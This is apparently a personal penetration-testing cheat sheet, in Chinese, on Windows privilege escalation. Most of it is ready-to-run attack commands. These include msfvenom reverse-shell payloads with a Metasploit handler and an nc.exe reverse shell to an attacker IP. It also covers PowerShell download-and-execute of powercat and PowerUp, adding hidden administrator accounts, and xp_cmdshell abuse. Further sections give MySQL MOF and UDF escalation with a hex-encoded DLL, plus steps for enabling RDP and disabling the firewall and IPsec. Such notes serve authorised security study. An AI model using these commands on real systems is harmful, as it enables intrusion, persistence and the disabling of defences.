优秀的人，不是不合群，而是他们合群的人里面没有你
常用命令
windows查看信息
systeminfo 查看系统主要信息
systeminfo | findstr OS #获取系统版本信息
hostname #获取主机名
whoami /priv #显示当前用户的安全特权
net start #查看服务
netstat -ano | findstr 3389 #获取rdp连接来源IP
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
windows添加系统用户
net user langzi langzi /add
net localgroup administrators langzi /add
kali的shell上传文件，将桌面的nc上传到目标的bbjd文件夹下
upload nc.exe "C:\Documents and Settings\bbjd\nc.exe"
kali的shell下载，将靶机的xxx.txt文件下载到kali
download xxx.txt
download /etc/passwd
系统补丁提权
第一步查看信息
systeminfo
查看补丁信息
然后再漏洞库寻找可能存在的漏洞，下一步寻找exp利用。
主要是获取systeminfo的信息
然后就是从补丁中获取exp，可以把systeminfo的补丁信息复制后，放在这个网址获取exp
https://blog.neargle.com/win-powerup-exp-index/
https://tools.zjun.info/getmskb
还可以使用WindowsVulnScan，使用方法在readme中有。
还可以用wesng，用法也很简单
python3 wes.py systeminfo.txt -i "Elevation of Privilege" -c
可以在github上等等地方搜索exp，然后编译上传运行
msf提权
kali生成木马，kali本机ip是136
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.65.136 lport=4455 -f exe > shell.exe
把生成的木马传输到win下
在msf下监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4455
run
提权或者查信息
方法一
getuid 查看权限
getsystem 尝试直接提权
方法二
ps 查看进程
migrate pid 牵跃进程，pid对应ps中的进程数字id
方法三
本地exp提权查询
使用bg来后台运行shell
bg
use post/multi/recon/local_exploit_suggester
options
set session 1
run
然后就会自动跑exp，把能用的exp展示出来，接下来就很简单了
use 0
options
设置一下
run
根据提示切换sessions
反弹shell提权
多数用于执行命令不回显和防火墙限制等
nc
kali的ip136，攻击者监听
nc -lvvp 5566
上传/下载nc到服务器，并执行
nc.exe -e c:\windows\system32\cmd.exe 192.168.65.136 5566
powershell
powercat 是 netcat 的 powershell 版本
攻击者监听 nc -lvvp 7788
在webshell上执行命令
powershell IEX (New-Object
System.Net.Webclient).DownloadString('http://192.168.0.195/powercat.ps1');
powercat -c 192.168.161.128 -p 7788 -e cmd
系统服务配置错误提权
Windows系统服务文件在操作系统启动时加载执行，并在后台调用可执行文件。低权限用户对此类系统服务调用的可执行文件有写权限，那就可以替换文件，并随着系统启动获得控制权限。
Windows服务是以system权限运行的，其文件夹、文件和注册表key-value都是受强制访问控制保护的。但在某些情况下，操作系统中依然存在一些没有得到有效保护的服务。
PowerUp：
Powershell中的PowerUp脚本 https://github.com/HarmJ0y/PowerUp 加载模块并执行列出可能存在问题的所有服务分析能否利用
PrivescCheck：
PrivescCheck https://github.com/itm4n/PrivescCheck.git 这个Powershell比PowerUp显示的内容更加详细，PowerUp长期没更新了，建议用这个工具对配置进行详细错误。
Metasploit：
Metasploit中的攻击模块 exploit/windows/local/service_permissions
service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行 会尝试创建并运行一 个新的服务 如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫持，在劫持服务时会创建一个可执行程序，其文件名和安装路径都是随机的
不带引号的服务路径提权
漏洞原理
"C:\Program Files\WinRAR\Rar.exe" #执行的是C盘C:\Program Files\WinRAR\目录下的Rar.exe文件
C:\Program Files\WinRAR\Rar.exe #执行的是C盘下的Program.exe文件，无则报错
使用PowerUp.ps1进行检测，会遍历出带有空格的文件路径
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.161.128:8000/PowerUp.ps1'); Invoke-AllChecks”
或使用命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr /i /v ""”
服务器路径存在空格，路径可写 即存在漏洞
msf需设置自动迁移进程（否则容易断开）
metasploist set AutoRunScript migrate -f
注册键AlwaysInstallElevated
描述
允许低权限用户以System权限安装文件。如果启用此策略设置项，那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。 windows install是windows操作系统的组件之一，专门用来管理配置软件服务。它除了是一个安装程序，还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件，双击MSI文件就会运行msiexec.exe。
漏洞原理
用户打开了windows installer 特权安装功能
运行gpedit.msc打开组策略编辑器 — Windows组件 — Windows Installer — 始终以提升的权限进行安装
命令行修改注册表：
reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
使用PowerUp检测注册表是否有设置 如果返回true证明可以利用
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.161.128:8000/PowerUp.ps1'); Get-RegAlwaysInstallElevated"
mssql提权
利用条件
1、任何版本的Sql Server都可以对xp_cmdshell 进行利用；
2、SQL Server数据库没有被降权；
3、sa用户或其他具有dba权限的账户
首先查看数据库配置文件，找到账号密码
web.config
config.asp
conn.aspx
database.aspx
复现
查询 xp_cmdshell 是否开启，返回为1则证明存在。
select count(*) from master.dbo.sysobjects where xtype = 'x' and name ='xp_cmdshell';
1、开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
2、提权利用
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo’
Mysql mof提权
MOF文件是mysql数据库的扩展文件（在c:/windows/system32/wbem/mof/nullevt.mof）
叫做”托管对象格式”，其作用是每隔五秒就会去监控进程创建和死亡
利用条件：
Windows<=2003
mysql在c:/windows/system32/wbem/mof目录有写权限
已知数据库root账号密码
数据库允许外连
secure_file_priv为空
当secure_file_priv的值没有具体值时，表示不对MySQL的导入|导出做限制，如果是null，表示MySQL不允许导入导出
#查看secure_file_priv的值
SHOW VARIABLES LIKE "secure_file_priv";
#这个值可以在my.ini设置为空
secure_file_priv =
提权原理：
MOF文件既然每五秒就会执行，而且是系统权限；
我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件；
然后系统每隔五秒就会执行一次我们上传的MOF。
MOF当中有一段是vbs脚本，我们可以通过控制这段vbs脚本的内容让系统执行命令，进行提权。
这个提权方式条件非常严苛，数据库在system32写文件这个条件一般很难达到，而且较新的系统无法使用MOF提权。
第一步将mof脚本上传至有读写权限的路径下，使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件
第二步执行sql语句
select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";
MSF 下有Mof 提权模块
执行成功后会直接反弹一个 system权限的meterpreter 。
use exploit/windows/mysql/mysql_mof
Mysql udf提权1
利用条件
MySQL≥5.1版本
udf.dll文件必须放置在mysql安装目录的MySQL\Lib\Plugin\文件夹下，该目录默认是不存在的，需要使用webshell找到mysql的安装目录，
在安装目录下创建MySQL\Lib\Plugin\文件夹，然后将udf.dll导入到该目录。
Mysql<5.1版本
windows server 2003下放置于c:/windows/system32/目录
windows server 2000下放置在c:/winnt/system32/目录
掌握mysql数据库的root账户，从而拥有对mysql的insert和delete权限，以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。
上传菊花操作木马
登陆进去，然后用到sqlmap工具
python sqlmap/extra/cloak/cloak.py -d -i sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
目录下自动生成dll文件。(一定要注意系统及版本，phpstudy的mysql默认是32位)用小蚂蚁或者菜刀，将这个dll文件上传至服务器的C盘根目录下(或其他可读可写文件夹)。
在菊花木马执行命令
select LOAD_FILE('C:/lib_mysqludf_sys32.dll') into dumpfile 'C:/phpStudy/MySQL/lib/plugin/lib_mysqludf_sys.dll';
或者用16进制读取写入
select '4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E830A2615830926148325261583005E9C8308261583005E878308261583005E8483082615835269636809261583000000000000000000000000000000000000000000000000504500004C0103004AFE9F5A0000000000000000E00002210B010900001000000010000000600000607C0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007C83000008020000B4820000C800000000800000B402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002C7E00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E0555058310000000000100000007000000010000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000140000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D090208B92BCF11B11CEEA24F550000560C000000220000260000A8FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015E5DFB77FBC38B44240C1A6A071611108BF8183218FF63DB6F1CA45FC7011E1200210883380175128B40040DF6776F0700750A1004C6000132C0C3530ABF1DF68D3C3053A454082D08FF30FF15FFF6EE776C885985C075085614C601011BC8568D71018A11FD6FDFFE4184D275F98B54142BCE890A32558BEC8B4D0C833902B7D860BF5374148B7D10915C5453EB4CBF9DBDDF8B417D740F1B707C1BEBE5836004DBB1FFB7001A0C8B48048B008D4401025072A0594C08DFC8D7B5891678113006A44CEB6C57BEB7B2B85F5E5DA30421740833DBB63FF6A8591353568B742410D878534602DB85DB5BB6460851C78D5C4257E8240B75EEEEBFE01400C604070008FF70041E0553B1DB1B921A22C418535720030054090F09B7086A995B0F98599954CF2D343713B8F4540B1EDEB60D818403552251519D35DFFED6FEDF576800F762D66A018945FC068BF08B4560DD7FF70CC606004533FF595939387471683CC071C6FEDFDA9C12260C3BC7745B506A04FF75FC149073E1EDD7A9FD48533AFC8D48911040B963DBFF2BC18BD88D043B505630F8268C5330D8AD8DBD5F03FE570E940DE57DF8463FE6364C2066BA5B1810A4803E0059169EB0FF741A8BC6C64437FF00594D1489C906987BEBD86F183E5F205EC9C3EED7B235DCBAF37D574708C45030087BDBDACDC9C26A4078C710548D4601B9E07E614251724F0856FF31CF6BAFDD9DB694C66AFF8DC32082F63A58B0B6030D092C23005F7CC36E57036C6A081D1290AC0AA88365FC2F6C2F2C2D4592D0EB071B408F65E8C70BBFD66E42FEFF000D1FEDC25E3BFFDB17B60D08209A02F3C3E90806F58BFF56688000002D8C6D675880985608845AA3BDE0FEBB062358045485F675054DAA83260076FBB7DB4508C36F08ED09ACC704240607FF0B4C113637598D71FFCF9C0BBF77DFC9750E39056B107E3CFF7310830B01FBEEC6BB8B0910548B098F57890A23480F85D47D618CBBAD641718068B79040838071B76EDEEBB1E50EB184AA705B8E61768B0B030D8E803A83C0957C1D6BBAEB5D6A1E7E9E2573CA12F4C6A6FF777C3025EFD096A1FEE76EB3CAA10C80475ED7BEFC0C7051F281A70E027071BDFF79D5CB520BC04B81B6A5635B952EB782B7339B2E3696FF7DEFD7340393D155C741C68062809AC43DB6B85850D9E1034252316FFE666F862F154B201DC0801592CC2B1A1DB78049DDFDBF62413D90FD4FC83F80266B16F6CB0D2595BFFA0584B77783BB5783106350F8487C71996EE4CD3543BF81810897D82EFC796BE35FAC87251833F8AF36A7C398587B4F10774E9FFC8D60F7C89C5DB9BB5D955F85615441B474DED5BE38EF88A394D1003D00874B48909437AA36D020C1AD3F8EBA71C3162CC5A64442E386161FB0A58064C32FC19503F1BDF720443375BC9C20CC710FB02231FB2288B2EF28B5D081CAE0FDB9B54E433C95CFC7D2008016C2DC6C23BF15A393A4417E4D61BFE7FAFAE3BF0740583FE02752E1910D03BC1E7166EB8ED57565FD03B5EE40003937B703B67115A039614168012376C7D270A8227FEA0246420575062B30D661327002F527F8DF61AD2061153F76A037543B067BB614F34032168742E2C0D2C3CEC257FEB1B71EC5A09706A7C6FAAE05051597C64825D900EADF62FFA8A19066B8F91B6C72AE490C396EC1640E134A9FF3B246ABB41C1F17926547DBC550C0D381E33BC05BC595D382281EC2832F7869F365F212043211C895E2118891D05F78EC243143C21A2AA210C668C186C5FFBDA3806252C0620080605DD2DCDD20425002D7FFC9C8F7AB6B1F6143095562407042831D6FEDB7F0807348B85E0FCA0AA701DDBB5B395011C1920241318092B18476A565F201CB360C32C9F7B8985D8320A04DC03B557E01B243468DEDFD1F7D8D360CE2879D40A2C833D208DBDC3DA00F923685B1B300BDFAF67F534C97F23401EC25F6A4849918F144A50152E9DF458AAF8A29C10F3EB67611C7E052C37D4598FEDED8321B9273551E0F5EE3BDC0AB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into outfile 'C:/phpStudy/MySQL/lib/plugin/lib_mysqludf_sys.dll';
只要写完成后，就可以创建函数
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
Mysql udf提权2
文件末为.so，则为linux系统，如果是win，则后缀为dll
不同的操作系统，不同的版本，提权时导出udf.dll存放的目录不一样。
注意：思路和linux一样，如果不清楚就去翻看linux的udf提权笔记
要求：
- Windows 2000操作系统需要导出udf.dll到c:\winnt\目录下。
- Windows2003操作系统导出udf.dll到c:\windows\目录下。
- 在MySQL 5.1版本及以后的环境下，udf提权时需要将udf.dll导出到mysql安装目录\lib\plugin\目录下
按要求执行下面mysql语句即可
show variables like "%plugin%"；
# 查看plugin位置
show global variables like "secure%";
# 当secure_file_priv 的值为 NULL ，表示限制mysqld 不允许导入|导出，此时无法提权
# 当secure_file_priv 的值为 /tmp/ ，表示限制 mysqld 的导入|导出只能发生在/tmp/ 目录下，此时也无法提权
# 当 secure_file_priv的值没有具体值时，表示不对 mysqld 的导入|导出做限制，此时可以提权
select @@basedir;
# 查看mysql的安装路径（绝对路径）
select version();
# 查看mysql的版本。发现是5.2版本，所以需要将dll文件放在lib\plugin目录下才可以生效，如果是5.1以下，需要放到 C:\Windows\system32下
浏览目录，如果发现没有lib路径的存在，需要使用NTFS ADS进行创建（在获取到shell的情况下，如果权限够，也可以使用webshell管理工具创建。）
#先找到Mysql的目录
select @@basedir;
#利用ADS流来创建plugin文件夹（测试并不能成功创建）
select 'It is dll' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
发现不行，换个方式在webshell里面
用Webshell这样创建的plugin文件夹：
echo 123 > C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION
使用同样的方法创建plugin文件夹。
将udf.dll文件上传到指定位置。
CREATE TABLE temp_udf(udf blod);
# 创建一张临时表用于存放DLL\so文件的十六进制内容
INSERT into temp_udf values( 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# 通过16进制进行写入udf.so文件
SELECT udf from temp_udf INTO DOWNFILE "/usr/lib64/mysql/plugin/udf.os";
# 导出so文件到指定目录
create function sys_eval returns string soname 'udf.dll';
# 创建sys_eval函数，用于执行命令和回显
select sys_eval("whoami");
# 执行命令
开启3389
查询是否开启3389
0为On 1为OFF
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections
2008 2012 2016 开启3389
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
注册表开启3389
REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f
WMIC命令开启3389端口
Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
关闭防火墙
关闭防火墙
确定开启了远程终端并且端口没错的情况下 还是连不上目标 目标上的防火墙可能允许，这个时候可以使 用lcx端口转发，或者使用命令关闭防火墙
netsh advfirewall show allprofile state # 查询状态
netsh advfirewall set allprofiles state off # 关闭防火墙
net stop "Windows Firewall" # 关闭防火墙
sc config sharedaccess start= disabled # 禁用防火墙
net stop sharedaccess # 关闭防火墙
关闭ipsec
在关闭防火墙时，还是连接不上，可能是ipsec做了ip策略处理，导致连接失败
net stop "IPsec Policy Agent"
